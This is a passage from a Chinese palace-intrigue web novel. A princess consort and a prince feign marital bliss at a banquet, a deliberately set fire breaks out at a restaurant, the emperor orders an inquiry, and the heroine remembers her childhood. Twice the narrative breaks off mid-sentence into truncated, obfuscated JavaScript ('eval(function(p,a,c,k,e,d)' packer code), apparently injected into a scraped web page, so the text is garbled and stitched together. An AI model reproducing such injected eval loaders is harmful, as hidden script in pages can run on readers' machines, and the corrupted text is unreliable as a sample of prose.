贾琦看了一眼,“这是南织行的缭绫,除了每年宫里的贡品,就数他们家的丝最好、图案最精美了。要说起来,这南织行在京城才开了不到一年,竟是如此炽手可热,每每去的人都不少,有的货还需要提前订购呢。我看可兰身上这件,就是蚕云品吧?” 宁悦扫了贾琦一眼,“你的眼还是那么毒,这是我上个月订的,紧赶慢赶在宁宁婚前给了他,他这些年府里也没个可心人,我少不得为他操心。” 宁熙笑了,“倒是让姑姑费心了,我看可兰很喜欢这件裙子呢。” 郑琬连忙摆手,“原来是姑姑为子煦定做的,那我可不敢要了。” 宁熙说:“姑姑既然给了我,那就是我的了,再说姑姑也不介意的,是不是?” 宁悦伸手戳了一下宁熙额头,“你小子,就知道从我这里拿东西,也不见你拿什么来孝敬我。”说完她端起茶盏,抿了一口,“我自然是不介意,都是一家人,多联络联络也是好的。” 贾琦说:“如今子煦府上也是有个知心人了。” “知心人”万姝丹适时挽住宁熙的手臂,笑得很是腼腆,“五郎对我很好。” 宁熙拍拍她的手背,捏了捏,一副沉溺在幸福之中的样子,微微红了脸。 万姝丹看不见宁熙的神情,然而从他的肢体动作就知道,这人又演起来了。 郑琬见了宁熙的样子,哈哈一笑,“子煦怎么了?如此浓情蜜意,碰到心上人还会脸红呢。” 贾琦要笑不笑,“是啊,子煦,真是没想到。” 郑琬拍了一下手,“子郁当年结婚不久也是这样,他那时更过分,和别清一对视就要脸红。” 贾琦说:“哦?我怎么没听别清说过此事?” “别清那种性格自然不可能说,这是我看见的,就在景王府上。” “没想到宁馥那样花天酒地的人也会脸红啊。” 郑琬说:“这就是见了心上人与不是心上人的区别。” 贾琦似笑非笑看了一眼郑琬,“你倒是清楚得很。” 郑琬没理她,“可兰你听我说,也就这一两年,过了之后,指不定哪天就要慢慢相看相厌了。哎呦,姑姑在这里,我说这些做什么。” 宁熙只是笑着,并不说话,任由她们随意猜测。万姝丹暗叹一声好戏,自己只需要跟着宁熙适当表示就行,剩下的就看宁熙发挥了。她忍下笑意,身体轻微抖了一下,宁熙不动声色掐了一下她的胳膊。万姝丹吃了一惊,她刚要扭头,宁熙就把头靠在她的头上,两人的头抵在一起看起来真像一对恩爱的夫妻。 宁悦没注意到二人的小动作,她淡淡一笑,“你们这些小辈的情啊爱啊的,我是不管的,自己喜欢就好,挨到不喜欢了,也得受着。嫁进了皇家,日子是苦是乐,那就只有自己知道了。” 贾琦笑着给宁悦添茶,“姑姑如此善解人意,真不像是皇宫里出来的人。” 宁悦拿起茶盏抿了一口,“我也是过来人,女郎啊,在这皇宫里,哪个不受委屈?” 贾琦用手帕擦擦嘴角,“咱们这位太子妃,可不是一个受气之人。” 宁悦的脸色淡了,“好好的,提她做什么。” 郑琬看向万姝丹,“可兰还不知道吧?咱们的太子妃呀,可是一个桀骜不驯的人。当年她和太子大婚没多久,就因为东宫里一个妃子有孕,在后苑里将那名妃子掷刀杀死了。” 万姝丹摇摇头,“我离得远,确实不知京中的这些事情。” 贾琦哼笑一声,“那是必然的,这件事被父亲极力压了下来。” 宁悦叹了口气,“南芸太激进了,当初可是差一点,皇上就要废了她。这么多年她又没有自己的孩子,如何在东宫里站稳脚跟?” 郑琬说:“七年前,郦妃生的孩子、如今的皇孙,不是早就被太子妃过到自己膝下抚养了吗?” 宁悦摇摇头,“终究不是自己生的。” 郑琬惊讶:“难道……” 宁悦抬头扫了她一眼。 贾琦在一旁说:“这么多年了,该有孩子早就有了,太子妃看样子是无法生养的。” 宁悦拿起手帕擦擦嘴角,“无论如何,那也是太子的家事。” 宁熙这时给万姝丹夹了一筷子菜,“尝尝这个,金川楼的招牌之一莲花鸭签,还有这个,虚汁垂丝羊肉,也很好吃。” 郑琬见状,笑着说:“我看啊,咱们倒是讨嫌了,应该让这二人独自相处的!刚才多腻歪呀!” 宁悦对宁熙说:“你马上就要及冠了,也该收收心了。” 贾琦说:“可兰还是要劝子煦少喝点酒,他这些年可是喝了不少,年纪轻轻,喝坏了身子就不好了。” 宁悦皱着眉,“以前我说你你总不听,这回家里有人管你了,我看你听不听。可兰你可得管着点。” 万姝丹闻言说好。 郑琬说:“可兰你可千万别纵着子煦。” 贾琦说:“是啊,像是前几日的情况,可不能再出现了。若不是姑姑去解围,子煦还不知会被罚成什么样子呢!” 万姝丹乖巧点头,“四嫂嫂说得是。” 宁熙说:“那日是我贪杯了,可兰想着我,给我带她自己酿的酒来,我一高兴就多喝了两杯,没想到惹出了事端。” 郑琬露出笑容,“你看看,这就护上了。” 贾琦问:“可兰酿的酒可有名字?” 万姝丹说:“醉花阴。” 贾琦又问:“不知道你这酒和姑姑酿的相比,如何呢?” 万姝丹连忙说:“我这个是自己胡乱酿着玩的,怎么能比得上姑姑的春回?那酒我尝了,都停不下来呢。” 宁悦说:“你喜欢就好,只是今年没了,明年再送你些。” 贾琦颇为惋惜,“我还说要跟姑姑讨要一坛呢,四郎也想着要喝。” 宁熙说:“既然如此,我着人送一坛去宏王府上吧。” 宁悦说:“你那里就两坛。反正宁恪经常进宫,让他去皇上那里讨着喝吧。” 郑琬看着万姝丹一筷子一筷子慢慢吃着饭,“怎么样?金川楼的菜不错吧?” 万姝丹说:“确实很好吃。” 郑琬说:“姑姑可爱吃他家的菜了。” 贾琦说:“金川楼可是盛景不衰,三年前开业,这三年来已经是京城第一号酒楼了。”她指了指窗外,“这金川楼独占了一个街角,还有一个自己的院子,与旁边的商铺都隔着些距离。看那边,这条十字街另外三个街角都被金川楼买下来了,估计不出几日就能完全建好。到时候啊,这里就有四座楼了。据说建成以后,中间还会架木拱廊桥,将四座楼两两相连呢。” 万姝丹适时讶然道:“当真?原来那三座楼都是金川楼的呀。” 贾琦说:“自是如此,这事儿已经传开了,大家都等着到时候看盛况呢。” 郑琬说:“这金川楼如此赚钱,可见掌柜确实很有经商天赋,怪不得不少勋贵都会投一笔钱财,坐等分红呢。” 贾琦笑笑没说话。 宁悦看了一眼天色,“时候不早了,都回去歇会儿吧。” 说完大家都起身,万姝丹跟在宁熙身后。快到一楼的时候,她突然脚下一软,直直向前扑去。 宁熙没防备,同她一起滚下楼梯。 万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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郑琬的那声叫喊让许多人都侧目,大家都不明所以,“走水了?”“在哪儿呢?”“胡说的吧。”“怎么瞎说话,大中午的。”“哎等等,你看那边好像真的有火光。”“哪儿呢?我怎么没看见?”“哎呀这不就在那儿!那儿!”“哎呦!真的着火了!” 这时火渐起,也不知谁的一声“快跑!”如同导火索一般,引燃了整个大堂!食客们在看到火势后,纷纷往门口奔去,高喊着“走水啦!”“别挤!” 楼上的人们也注意到楼下的骚乱,一个两个往下看去,“这是怎么了?”“喊什么呢?乱糟糟地听不清。”“好像是在喊走水了。”“走水了?” 有人往沿着楼梯下来几步,也看到了后面的火光,招呼着楼上的人,“真的走水了!”然后率先跑了下去。在窗边的人听到了外面的喊声,看到人群一波一波跑出金川楼,也跟着紧张起来。二楼三楼的人们争先恐后地奔向楼梯口,木头在踩踏之下发出“咯吱”“咯吱”声。 霎时间,金川楼就像是煮沸的水壶,发出尖锐的爆鸣,沸腾的滚水在壶中四处冲撞,漫过壶口四溅出来。 万姝丹在一片兵荒马乱中,安然坐在地上,好像发生的这些事情与她无关一样,这和刚才的她完全判若两人。她抬起头,看向大堂东南角落,那里同样坐着一个人,一身白衣,桌上放着茶盏,他的身后站着一个抱着刀的人。许是有所感觉,他抬起眼睛看向万姝丹这边,两人的视线在空中交汇。 在人们开始骚动的几秒后,景煜就反应过来,他让身后的侍卫们护好长公主一行人,自己则跳上桌子,大声喊:“五殿下在此!大家都安静!有序撤离!” 宁熙同时拉过颜宥津,“去找执金吾的人来!再让人通知京兆府!你领着公主府的侍卫疏散整条街!有想浑水摸鱼的直接绑起来!” 景煜的声音灌注了内力,盖过了人群的嘈杂,人们安静了一瞬,在慌乱中看见王府的侍卫们站在一旁引导着大家,有人认出了宁熙,“那是安王!” 宁熙正带着金川楼的人灭火。 大家见安王守在后间门口,竟是奇迹般慢慢停止了骚乱,开始在侍卫的指挥下有序撤离。 长公主车驾则进了宫。 不一会儿,整条街肃清完毕,执金吾右将军和京兆府府尹都到了。 11. 审查 宁熙从金川楼里出来,身上沾着灰,“卢将军,姚府尹。” 姚崇峻行了礼,“殿下,这是怎么一回事?” 宁熙掸了掸身上的灰,“后间起火了,原因还未知。正是中午人多的时候,所幸没有伤亡。” 姚崇峻吓了一跳,“好端端的,怎么会起火?” 宁熙面带复杂,“这件事一会儿还需姚府尹好好审查一番。现在得尽快进一趟宫,想必长公主已经见过皇上了。” “长公主也在?” 宁熙点点头,“所以咱们要尽快,卢将军辛苦一下,这里就交给将军了。” 卢劲说:“殿下言重,这本就是执金吾的职责,还要多谢殿下。” “将军客气了,我和姚府尹先走一步。” * 宁悦进宫后,被内侍告知皇上正要去后苑游湖。宁悦赶过去,武帝正在岸边。 见到宁悦,武帝招呼道:“方才内侍传报二姐来了,特意等了一会儿。二姐来,这是我让将作监制造的画舫,还不错吧?今日刚下水,来,二姐,一起。” 宁悦看见武帝身后的一众妃嫔,“看来我今日要扫陛下的兴了。” 武帝不解,“二姐这是何意?” 宁悦说:“我可是差点就要再也见不到陛下了。” “二姐此话何意?”武帝说着,让妃嫔们散去,只留下内侍宫女侍候,有内侍搬来凳子,武帝坐下,“二姐也坐,慢慢说。” “我今儿难得出门,同琬儿、琦儿一起,上街市去逛逛。结果谁能想到,先是遇见了一个小贼,抢了我的玉佩,幸好宁宁也陪着可兰在逛街,拦下了那个小贼。我就想着正好金川楼出了新的菜品,就带着他们一起去了。谁承想金川楼竟然着火了!要不是宁宁跟着我,我就见不到皇上了!” 武帝怒了,“执金吾都是干什么吃的!这京城中,青天白日,堂然皇之让贼人抢了二姐的东西!还有那些侍卫,都是废物不成!” 宁悦说:“平日巡防京城街巷,执金吾难免有分身乏术时,而且今日街市上人那么多,随随便便偷抢,还是很容易的。” “二姐,他们职责所在,这就已经是失职了。” “皇上,街市上人来人往,执金吾也不方便办事,难道要他们戒严街市吗?出了事情,还能补救,已经算是很好了。” 武帝叹气,“既然二姐都这么说了,那我就不追究卢劲的责任了,但是该罚还是要罚,先罚三月俸禄。”他揉了揉眉心,“可这金川楼起火又是为何?” 宁悦拍了拍心口,“说起这件事,可要吓死我了。当时事发突然,金川楼一下子就骚乱起来,宁宁保护着我和琬儿、琦儿先出了金川楼,他也控制住了局势,不然今日就不是简简单单的走水了。” “哦?宁熙?”武帝的声音不辨喜怒,“你是说宁熙控制住局面、疏散的人群?” 宁悦慈爱地笑笑,“是啊,我就说宁宁这孩子,若是肯收起心来好好做事,必定能为皇上分忧的。如此看来,还是皇上高瞻远瞩,这秦可兰果真能将宁宁带上正路。” 武帝笑得有些勉强,“那是,宁熙毕竟是我的儿子,他的婚事,我怎么能不上心呢。” 宁悦呼出一口气,“宁宁是该多历练历练了。” 武帝沉默地揉了揉额角,一时间相对无言。宁悦打量着武帝的神色,正想着要不要再说些什么的时候,武帝开口了:“嗯……也过去这么多年了,传宁熙进宫吧。” 有内侍小跑着过来,“陛下,五殿下和京兆府尹求见。” “哦?正说着呢,他就来了。” 宁悦笑着说:“要么说是父子呢。” 这句话让武帝稍稍放缓了面色,带上了浅淡的笑意。 宁熙走过来时,就看见武帝和长公主有说有笑,不动声色看了姚崇峻一眼,姚崇峻也是微微放下心来。 武帝见他们来了,“说说吧,怎么回事?” 姚崇峻跪下,“臣惶恐,未能尽到职责,差点儿致使意外发生,请陛下责罚。” 武帝哼了一声,“你倒是领罚领得勤快,你说说,我罚你有什么用?能阻止事情发生吗?能让长公主避祸吗?” “陛下……” 武帝摆摆手,“好了好了,好在长公主安然无恙,看在长公主的份上,这责罚就不必了。但你务必要查清楚,这是怎么一回事,好给长公主、给朕一个交代。” “臣领旨。” 武帝向宁熙说:“二姐跟我说了,今日多亏了有你在,你随机应变、临场发挥得很好,我很欣慰。”他有些意味深长,“过去的事情就不追究了,这件事既然你也参与了,那就进行到底。你和姚崇峻一起去查,莫要辜负你姑姑、辜负我的期待。若是办好了,自会有奖励给你的。” 他又问宁悦:“琬儿、琦儿,还有可兰呢?” “她们都回各自的府邸了。” 武帝点点头,说:“劳烦二姐好生安慰她们,莫要受惊了。” 宁熙离开之前,看了武帝一眼。他的这位父亲,已经在不知不觉中两鬓发白了,是从什么时候开始的呢。宁熙不知道,他一年之中都很少进宫,没想到,人岁数一旦上来了,连心都会变得跟以前不一样,和记忆中的父亲出现了偏差,就像是分出来了一条单独的道路,这条道路上,似乎有很多不可预料的事情。 他忽然想到了沈济之,莫非,这人将一切变化都看在了眼里? 宁熙同姚崇峻回了金川楼。 卢劲见了他们,说:“金川楼的掌柜和一干人等正押在大堂。” 宁熙颔首,“先不急。”他看向姚崇峻,“府尹,请吧。” 姚崇峻伸手,“殿下请。” 金川楼里,所有的东西均未挪动,保持着骚乱结束后的样子。宁熙避开打翻的长凳,地上还有许多摔碎的瓷片、踩得乱七八糟的饭菜。他小心上了三楼,这里也是同样的混乱。忽然,宁熙注意到了什么,他看向主要的几根柱子,均为木头制成。他回到一楼大堂,发现二楼和这里也是如此。 姚崇峻的声音从后间传来,“殿下?” 宁熙走了过去,“如何?” “殿下来看。” 宁熙踏进后间,就知道姚崇峻是什么意思了。这里简直就把故意两个字写在了明面上。正对着门的那面墙壁是一排木架,架子上摆放着许多的账册。宁熙随手翻了翻,上面记录的账目非常清晰,按照年月日排列,一丝不苟。 起火的地方是靠门的这一侧,同样摆放着木架,已经被烧得碳化了,但是仍然能看得出来,上面什么也没有,这是一个空架子。由于贴近门口,所以当时看起来火势很大,实际上只有这面墙的架子起火了,剩下的地方全没受到影响。因为两侧没有架子相连,只有几个装满水的大坛子。 宁熙看了看坛子里的水,似乎是经常更换,看起来很清澈,只是看不清底下有没有什么东西。 “真有意思。” “殿下,这火起得很是不同寻常啊。” 宁熙摸了摸发黑的墙壁,整个后间都是砖墙,他皱起了眉。 “殿下?” 宁熙收回手,“嗯?” “殿下可发现什么了?” 宁熙微微一笑,看向姚崇峻,“想必姚府尹也看出来了,不然怎么会认为这火不同寻常呢。” “殿下,下官觉得这就是一次计划好的纵火事件,这后间四面具是砖墙,只这两侧有木架,起火的还是一个空架子。比起想烧毁什么,不如说,更像是为了引起注意,造成混乱。” “是了,想引起谁的注意呢?”宁熙的手抚过木架,“而且选的日子也很特殊,今日长公主也在金川楼,这火早不起晚不起,偏偏这个时候起。” 姚崇峻略微点头,“惊动了长公主,就是惊动了皇上,只是仍不知其目的为何。而且有一个地方让下官非常在意。”姚崇峻走向门口,看向大堂内,“这金川楼的所有柱子未涂用防火材料。” 宁熙的脸在昏暗的光线中看不清表情,“这就只能问问掌柜了。” 大堂内。 宁熙坐在靠近窗边的地方,他状似发呆,一手撑着下巴。 姚崇峻坐在一张收拾好的桌前,问对面的人:“马三白,汝州南佐府淳县人士,三年前到京城,开了这家金川楼。可据我所知,你家世代务农,你又是从何处得来的本钱,得以在京城开店?” “回大人,小人是在四年前和同乡做了点生意,赚了些钱。” “什么生意?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那我问你,这金川楼为何没有涂抹任何防火材料?” 马三白嗫嚅着:“府尹,这,这不是能省一点是一点。” “金川楼自开业以来,可谓是一飞冲天,你会缺那点钱?而且你是怎么逃过检查的?看来马掌柜和我京兆府还有些关系啊。” 马三白不说话,眼神乱瞟。 “不说?那我再问你,今日金川楼后间起火可与你有关?” “府尹明鉴!这事与小人真没有关系!那间屋子是存放账册的,平日里没有我的允许,谁都不能进去。” “那这么说来,有可能是你亲自放的火了?不然为什么只烧空架子呢?” 宁熙听着听着,眼睛不经意见扫到了某个角落里,那是金川楼的东南角。那里有一张桌子,上面异常整洁,有一个茶壶,一只茶杯。宁熙起身走了过去,这里的桌凳甚至都没有移动错位。他的手指敲在桌面上,想了想,坐在了靠墙的那一面,从这里能将大堂内的情况全部收入眼底,右侧沿着墙往前就是后间的门口。 宁熙简直要笑出声了,他打开茶壶的盖子,闻了闻,是不知春。这沈济之,连演都不演了。也不知道姚崇峻有没有发现,不过,姚崇峻是如何知道淮州私盐猖獗的呢。宁熙的手指在桌面上无意识划着,沈济之既然敢这么做,他又何必替他遮掩?想来他是不怕被发现的。 思及此,宁熙离开了这里,那边姚崇峻正说着:“既然你不肯说,又与我京兆府有所来往,那只好请马掌柜去京兆府走一趟了。” 他见到宁熙走了过来,“殿下。” “姚府尹?结束了?” “还有些疑问,须得回京兆府再行审问了。” “姚府尹辛苦了。” 姚崇峻见马三白被带走后,这才对宁熙说:“殿下,想必殿下也察觉了,这场火不仅惊动了皇上,还指向了殿下您。” 宁熙笑得公事公办,“哦?姚府尹可是要提醒我什么吗?” 姚崇峻叹了口气,“殿下去朝堂七载,而今被牵涉进来,很难说是福是祸,还望殿下多保重。” 说话间两人已经往外走去,姚崇峻抬头望了一眼天色,“这天阴沉得很,晚上怕是要下雨,下官回去还得细细审问相关之人。殿下,告辞。” 宁熙目送着姚崇峻离开,若有所思。他转头向卢劲说:“安排些人手,今晚辛苦些,守好金川楼。夜间可能有雨,该准备的都准备一下。” 卢劲说:“殿下慢走。” 12. 宁熙 万姝丹从金川楼回来后,换了身衣服,就去了书房。 她一边练琴,一边分神想着今日的事,观宁熙上午的行为,反应迅速又不失条理,一个人下意识的反应足以看出这个人的性格和能力。万姝丹低低笑了声,宁熙啊宁熙,还真是充满了惊喜。没想到经历过这么多事情之后,他的精神依然没有被击溃,这样的人,才会是最好的人选啊。 琴音猛地停下,万姝丹的五指按住琴弦,她想起二哥刚被带回谷里的那年,除了大哥之外,没有人被允许进入他的院子。即使是大哥,二哥有时候也会出现不配合的情况。四哥每日都会带着她扒在二哥院墙上,“偷看”里面的情况。 彼时万姝丹压低声音问祁策,“愈清哥哥,这样不会被里面的人发现吗,这个院子咱们都不能进诶。” 祁策同样放低声音,“其实不会,你没有见到那日青哥带这人回来的样子,虽然我只看到了露在外面的胳膊,可那上面都是烧伤。外面伤得这么重,内里肯定也伤得不轻,容易造成五感闭塞。别说咱俩在这里,就算是进去也不会被发现的。不信你看。” 祁策从地上捡起一块小石头,丢进了院子里。 果然没有动静。 祁策偷偷笑了,“怎么样,是不是没……” 屋门打开了,慕青从里面走出来。 祁策的声音戛然而止。他瞪大双眼,抱起万姝丹转身就要溜。 慕青幽幽的声音上一秒还有些距离,下一秒就到了身后,“想去哪儿?” “啊啊啊……啊?” 祁策大喊着加快速度,却还是被慕青拎了起来。他一手拎着一个,还不等慕青说话,祁策立刻求饶,“青哥我错了!” 慕青淡淡看了一眼他,又看向万姝丹,只见万姝丹睁着一双无辜的大眼睛,眨巴眨巴地看着慕青。 慕青冷笑一声,“别来这招,对我不管用了。” 万姝丹就用小手握住慕青的手腕,“青哥……愈清哥和我没有别的意思,我们就是好奇,想看一看。” 这时慕青拎着他俩已经走到了杏林,“好奇是吧?” 说完他就手上用力,将万姝丹抛了起来,又接住,再抛起来。那年万姝丹六岁,很喜欢这个游戏,眼睛笑成了月牙,小女童清脆的笑声在杏林里荡漾开。 慕青接住她后,问:“还好奇吗?” 万姝丹咯咯地笑,用两只手摸向慕青的脸。 慕青又问:“还好奇吗?” 万姝丹玩得很高兴,她摇摇头。 慕青将她放下,腾出一只手后,他弹了一下祁策脑门,“你小子下次不许带着你妹妹扒墙头。” “哎呦!青哥,放心,我不会让她摔了的!” 慕青“嘿”了一声,“你妹妹都快被你带成野猴子了!爬树爬墙,天天小脸黑乎乎的,哪里有个女孩的样子?” 他作势又要弹祁策的脑门。 万姝丹一把抱住慕青的腿,“不要打愈清哥。” “好哇,知道护你哥哥了?”慕青伸手抱起万姝丹,“愈清带你玩,你就护着他?” 万姝丹眨巴着眼睛,笑得甜甜的,“我也喜欢青哥。” “哼,油嘴滑舌,少跟愈清学。”他将两个孩子放下来,揉了揉他俩的头,“好了,过一段日子,如果他愿意,你们会见面的。没准你们还会多一个哥哥呢。” 祁策踢走一块石子,“再多一个?别了别了,有一个宥泽哥我已经很难处理了,再来一个我要吃不消的。” “少惹宥泽生气。”慕青轻拍了一下他的头,“你放心好了,这人性格很好。” “啊?”祁策震惊,“青哥你是指他在屋子里乱砸东西吗?” 当时慕青的表情让万姝丹记了很久,带着一点悲伤、遗憾、无奈,他怜悯地说:“不是所有人都有很好的过往,阿姝刚来谷里的时候不也不言不语吗?” 祁策了然地点点头,肯定道:“这倒是。” 万姝丹不乐意了,“是什么?我这么好,刚才还帮了你,你怎么不帮着我说话?”说着她就挥着拳头冲向了祁策。 “诶,打不着,哈哈哈哈,万姝丹,想打过我再过几年吧!” 寻夏将茶碗放在旁边的小几上,这打断了万姝丹的回忆,她往后靠在迎枕上,“殿下回来了吗?” 寻夏给茶炉添了水,用小蒲扇慢慢扇着,“未曾,听说是进宫去了。” 万姝丹摸了摸自己的鬓发,点点头示意自己知道了,她将茶碗拿起浅饮一口,忽然想到什么,就这样端着碗对寻夏说:“一会儿殿下回来,先知会我一声。” 寻夏停下手中的活计,她没什么犹豫回道:“好的王妃,婢子这就通知下去。” 另一个小婢女接替了寻夏继续煮茶,万姝丹在水声沸腾中出了神。她与宁熙刚互相威胁没多久,就再次在他的底线上试探。万姝丹有些头疼,她按了按额角,这次的事情只有长公主是最合适的,宫里那次让长公主出面实在是意外,并不在二哥的计划之内。而且,若非长公主愿意,这京城里,谁有敢动长公主的心思呢。 这一点,宁熙应该能想明白吧? 万姝丹暗叹一声,想明白是一回事,乐意不乐意就是另一回事了。宁熙不会乐意让长公主涉入的,哪怕二哥做了万全的准备。 她想起那一日二哥说过的话。 “宁熙与蓝妃性格完全不同,他年少时轻狂好侠义,有些桀骜难驯,在殿堂上也敢据理力争,让武帝下不来台阶。武帝对这个儿子又头疼又厌烦,也就同意蓝妃的请求,把宁熙丢给楼仲春,目的其实是为了能让宁熙少在宫里胡搅蛮缠。结果他那么适应军队,在领卫里厮混,他从不将殿下的身份放在心上,因而与将士们打成一片。” “当年颍州匪乱,宁熙也随同楼仲春前去了。不过,这可苦了蓝妃了,我听说宁熙不在京中的那段时日,蓝妃日日心神不宁,即使有楼仲春同行,也不能分解她的忧虑,务必要宁熙日日写信。而宁熙仗着是个武学奇才,居然自己偷偷带着一队人,从后山绕上匪营,想要与正面的军队形成夹击。然而他毕竟年少,经验实在不足,暴露了自己。千钧一发之际,是楼仲春放箭点燃了营帐,造成了混乱的局面,宁熙这才得以带队逃脱。” 说到这里的时候,沈济之手指轻点在一枝伸进窗户的花枝上,花枝在他手底下颤颤巍巍。那花枝小心翼翼的样子让沈济之眉头微动,他屈指一弹,压在花枝上的雪纷纷抖落。 彼时万姝丹望向窗外,北地正是一片雪原,她呼吸间满是凛冬的寒意,雪花覆盖之下是正值午时的褚城,城里街道上打扫得很干净,人们穿着厚厚的冬衣走在腊月的街头。 万姝丹上穿蹙金银线披袄子,下穿唐草锦面袄裙。寒冬中,她的手依然温热。万姝丹拨开花枝,拢着沈济之的手,将他的手放回小暖炉上。 沈济之一身重裘,微微一笑,继续说:“这场擅自行动,受到了楼仲春的严厉批评,御史也纷纷上奏弹劾,一时间奏折满天飞,武帝大发雷霆。最终还是顾老太傅出面,在武帝面前担保能将宁熙教好。听说当日宁熙就进了昭文阁,跟着顾老太傅读书。” “后来确实太平了一段日子,那时宁熙忙着读书,挑灯夜读,将眼睛都熬红了,在考试中拿了第一。然而这种日子没过多久,他就坐不住了,忙里偷闲,还能在京里上蹿下跳,抓盗贼、寻失物。疏通官沟、南郊祭坛修葺,他都要参与一手。渐渐地,他在京中的风头越来越大,曾经的年少无知也变成了勇敢果决。二哥有一年,还到京城见过一次他。” “嗯?”万姝丹来了兴趣,“什么时候?” “八年前元旦日,宫里百官宴,京城盛大宴会。我乔装打扮,在朱雀大街上,见到了他。” 那天晚上鸿兴楼座无虚席,沈济之是与别人拼桌的,对方似乎非常欣赏宁熙,一直滔滔不绝,他是怀着什么样的心情,被那个喝醉酒的人,拉着手腕,差不多听完了宁熙十一年来的大小事迹的呢?那时他刚离开百花谷,就知道了还有几位旧臣与他父亲一同被处斩,在这不同寻常之中他嗅出了一丝端倪。沈济之也不知道来京城是要做什么,没成想却见到了宁熙,那种感觉,让他觉得熟悉又惶恐,是已经被他杀死的过往,他在百花谷的一日一夜中,将自己全部抛弃,彻 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“武帝跟随先帝打下江山,七年前正值壮年,性格上说一不二,对权势的欲望达到极致。他容忍蓝家培植自己的势力,是因为蓝韪随武帝发家,与他征战半生,武帝最了解蓝韪的为人,对他举荐的这些人也都委以重任,可见信任之极。不过,这一切在蓝韪死后,就发生了巨大的变化。先是蓝韪的弟弟任了尚书令,掌了大权,一改蓝韪时的作风,大肆招徕士人。紧接着就出现了左领卫里的斗殴事件,蓝家子弟在那一次斗争之中,令贾家最小的儿子身亡。” “左领卫大将军就是楼仲春,早年救过武帝,又是我朝武学造诣最高的大将,得武帝看重与信任。在那场斗殴之中,楼仲春未得到什么责罚。然而,宁熙那时已经是楼将军的徒弟了,这便成了蓝家的罪责之一。” “再加上之前换太子的风声,太子虽然愚笨,可武帝也不喜欢宁熙。种种事件混杂在一起,在那年年中的时候,武帝就以北部有异动,将楼仲春调离京城,紧接着蓝家有高官职的全部下狱,因为发现了尚书令谋逆的书信,查抄蓝府时也搜出了证据,很快就该处斩的处斩,该流放的流放,蓝妃也在宫中被赐一尺白绫。几乎是一夕之间,就剩下了宁熙一个人。” “他凭着一口气追出京城,想去寻楼仲春,可也不想想这么做的后果。于是就在西山上遇见了你,我想他初见你时,还以为你是追踪而来的刺客吧。” 万姝丹问:“那长公主呢?” “长公主宁悦很欣赏蓝妃的性格,所有后妃之中最喜欢她了,连皇后都无法与她相比。连带着也很喜爱宁熙,不仅不觉得他顽劣难驯,反而认为小孩子就要活泼好动,只要不犯法乱纪,由着他去胡闹。宁熙儿时也常常去长公主府小住。后来蓝家出事,长公主是唯一一个仍护着宁熙的人。其他朝臣虽然看重宁熙的能力,却也知道这是武帝认准的事情,当年有位御史上奏,为蓝家求情,却落个身首分离的下场,其家人还是长公主力保下来的,以皇帝不应该滥杀无辜为由。” “长公主敢这么做,也是因为前朝中期战乱,先帝忙于征战,先皇后又去世得早,武帝是在长公主的庇护下长大的,予他启蒙。这份恩情,武帝一直没有忘记,因此事事能迁就长公主的,也就作罢了。而长公主也深知武帝脾性,做的都是力所能及的事情。” “当年宁熙浑身是伤返回京城,武帝也考虑到长公主,这才将宁熙轻拿轻放。这七年间,也只有长公主待宁熙依然如初。” 煮沸的茶水漫过炉沿,顺着炉壁而下,发出“呲呲”的声音。 万姝丹快速眨了一下眼,眼睫轻颤。 小婢女连忙将茶水倒出。 万姝丹用手揉了揉额头,眼前又出现那一晚,她望进宁熙的双眼,看到的只有狠绝和恨意,与后来遭梦魇时表现出来的样子完全相反。自己也许是好奇这一点,才会在他发热哭泣时心软的吧。 万姝丹轻轻呼出一口气,今日的宁熙,似乎回到了七年前,他站在那里,像极了持剑时的背影,挺拔向上。 万姝丹没有意识到自己翘起了嘴角,然而很快就放了下来,她抿抿唇,也不知道等宁熙回来后又待如何,难道还要互相威胁吗? 13.脚腕 宁熙没有坐马车,而是一路走回去的。这时正好赶上晚饭时间,有不少小摊卖着吃的。宁熙站在街口停了一会儿,有些出神。在宫里的那种感觉又回来了,阴沉的天色压在他的心头,他望向天边,视线被城墙所阻挡。宁熙忽然觉得,若是万姝丹的话,她一定会站在更高的地方俯瞰整个宫城、皇城,甚至是京城。 想到万姝丹,宁熙的眉头微蹙,万姝丹!她可真是给了自己一个大惊喜! 走着走着,他忽然觉出这条路是自己经常走的。那时候的日子总是难捱的,日复一日地没有盼头,好像就这样不知道哪一天直接丢掉性命。皇上能容他,不意味着太子或是谁登基后还能容下他。在金粉楼喝个烂醉,跌跌撞撞地回府。彼时的他也不坐马车,那条路他走了无数次,每次都觉得一生的距离就在这条路里了,所以他很不喜欢回府,那意味着走到头了。可好像除了安王府,他也没有别的地方可以去了。 如果万姝丹不是嫁入王府,而是以别的什么身份来到京城的话,说不准她能看到坐在王府门口石阶上的宁熙,直到光线完全收拢,他才会缓缓进去。 到了府门口,宁熙有些怅然地看着门口的台阶,却忽然瞧见门后一个影子匆匆跑进去。宁熙看着自己的府门口,皱起眉,盯着盯着,他轻笑一声,好像发现了什么有意思的事情。 宁熙站直身子,将方才的感慨全都抛之脑后,他慢慢走进府中,嘴角含笑,一步一个脚印,一点也不着急。 万姝丹得知宁熙回来时,茶碗磕在了小几上。她快速眨眨眼,将手缩回广袖中,坐得端正。 然而左等右等,就是不见宁熙的身影。 万姝丹的手指在袖子中互相绞着,她发现自己又紧张了。 怎么回事,那个宁熙什么情况,我为什么要紧张? 万姝丹闭了闭眼,决定不在这里坐立难安。她忽地站起来,走出了书房。寻夏跟在她的身后,被万姝丹的突然停步吓了一跳。 只见万姝丹望着后园的月洞门,迟迟没有迈步。她想要抬腿去熹微院,脚却自己走向了后园深处。穿过游廊,沿着池边走过去,最后她坐在梧桐树的秋千下。 从她这个位置,刚好可以看见后园的门口。 宁熙踏进后园时,立刻就与万姝丹对上了视线。二人隔着游廊对视着,都是一脸平静。可这平静之下,心思却不同。 宁熙沿着游廊慢慢走过来。 万姝丹用一只脚撑地,秋千停止了晃动,撑地的那只脚轻轻碾着地面。 宁熙在她面前站定。 万姝丹垂着眼,她在等宁熙先开口。 许是靠近池塘的缘故,空气潮湿,粘黏在皮肤上,万姝丹觉得有些闷热。 不安的气氛在蔓延。 